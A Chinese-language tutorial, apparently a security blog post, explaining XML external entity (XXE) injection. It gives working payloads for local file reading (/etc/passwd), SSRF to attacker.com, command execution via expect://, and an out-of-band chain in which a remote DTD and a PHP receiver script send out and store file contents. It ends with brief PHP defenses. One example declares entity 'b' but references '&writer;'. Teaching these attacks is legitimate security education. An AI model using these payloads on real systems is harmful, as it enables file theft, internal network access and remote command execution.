什么是XXE?

XXE 全称XML外部实体注入(XML External Entity Injection)攻击。是由于程序在解析XML时加载了攻击者伪造的外部实体引发的安全问题。

什么是XML?

XML指的是可扩展标记语言(eXtensible Markup Language)类似于html。不过HTML则用来显示数据,而XML被设计用来传输和存储数据,是一种文本格式。

XML的特点

  1. XML的标签没有被定义,需要使用者自己自定义标签和文档结构
  2. XML仅仅是纯文本,不会做任何事情。仅仅是用来存储数据

XML文本格式

  • XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

image-20240710181408971

DTD

  • DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

为什么要使用DTD?

  1. 通过DTD每一个XML文档都可以拥有一个有关对自身格式的描述。
  2. 可以通过DTD来规定一个XML文档的标准格式,某些需要直接交换数据的XML文档通过使用这个DTD来确保格式相同,避免数据解析错误。
  3. 应用程序在接收到XML文档时,可以使用DTD进行验证,若符合DTD的定义,则表示应用程序可以安全的处理这些数据。
  4. DTD还可以用来对自身生成的XML进行验证。

DTD实体

  • 实体可在内部或外部进行声明。

内部实体的声明:

1
<!ENTITY 实体名称 "实体的值">

示例:

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0"?>
<!DOCTYPE example [
<!ENTITY greeting "Hello, world!">
]>
<note>
<to>&greeting;</to> //<to></to>标签中的 &greeting; 将会被解析成Hello, world!
<from>Jani</from>
<heading>Reminder</heading>
<body> Don't forget me this weekend!</body>
<website></website>
</note>

外部实体的声明:

1
<!ENTITY 实体名称 SYSTEM "URI/URL">

示例1:

1
2
3
4
5
6
7
8
9
10
flag.txt中存放的内容是 Yliken

XML文档
<?xml version="1.0"?>

<!DOCTYPE a[
<!ENTITY b SYSTEM "file:///D:/flag.txt"> // b => Yliken
]>

<author>&writer;</author>

既然XML是纯文本,那么为什么还会产生注入攻击?

XML是纯文本格式,本身是不会有任何作用。XXE攻击利用的是编程语言中对XML文本进行解析的函数处理外部实体的能力。通过构造恶意的XML使解析器访问本地或者网络上的资源。

XML外部实体攻击

XML外部实体攻击就是XXE。 XML文档中DTD实体中的SYSTEM关键字会令XML解析器中读取内容,并允许它在XML中被替换。攻击者通过构造恶意DTD实体来强制让XML文档解析器去访问指定资源(既可以是本地文件也可以是远程文件)。来达到攻击的目的。

有回显XXE利用

  1. 文件读取:构造带有恶意的DTD外部实体的XML,通过file://php://等伪协议来进行文件读取。

    1
    2
    3
    4
    5
    6
    7
    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    <root>
    <name>&xxe;</name>
    </root>
  2. SSRF: 构造带有恶意的DTD外部实体的XML,指向想要请求的资源。

    1
    2
    3
    4
    5
    6
    7
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE example [
    <!ENTITY xxe SYSTEM "http://attacker.com/ssrf?data=internal">
    ]>
    <example>
    &xxe;
    </example>
  3. RCE: 如果PHP的 expect模块被加载到web应用上。可以通过恶意的DTD来实现命令执行

    1
    2
    3
    4
    5
    6
    <?xml version="1.0"?>
    <!DOCTYPE GVI [ <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "expect://id" >]>
    <catalog>
    <description>&xxe;</description>
    </catalog>

无回显XXE利用

很多时候后端解析了XML文档并不会有输出。这样可以通外带数据进行利用(OOB)。

利用思路与打XSS思路相同:

  1. 我们需要有一个接收平台
  2. 把后端将XML解析后读取的数据 发送到 接收平台
  3. 接收平台进行数据的存储
  4. 去接收平台查看

做法:

  1. 先读取想要的文件

    1
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
  2. 调用一个放在接收平台的外部xml。比如1.xml

    1
    <!ENTITY % remote SYSTEM "http://example/1.xml"> 

    1.xml的内容

    1
    2
    3
    4
    <!ENTITY % all
    "<!ENTITY &#x25; send SYSTEM 'http://example/2.php?id=%file;'>"
    >
    %all;
  3. 1.xml访问接收平台上的2.php2.php接收%file 也就是 读取到的文件内容

    2.php的内容

    1
    <?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?>
  4. 2.php将读取到的文件的内容存储到3.txt中

PHP中XXE的防御

  1. 通过libxml_disable_entity_loader(true)禁止使用外部实体
  2. 过滤掉用户提交的XML数据中的SYSTEMPUBLIC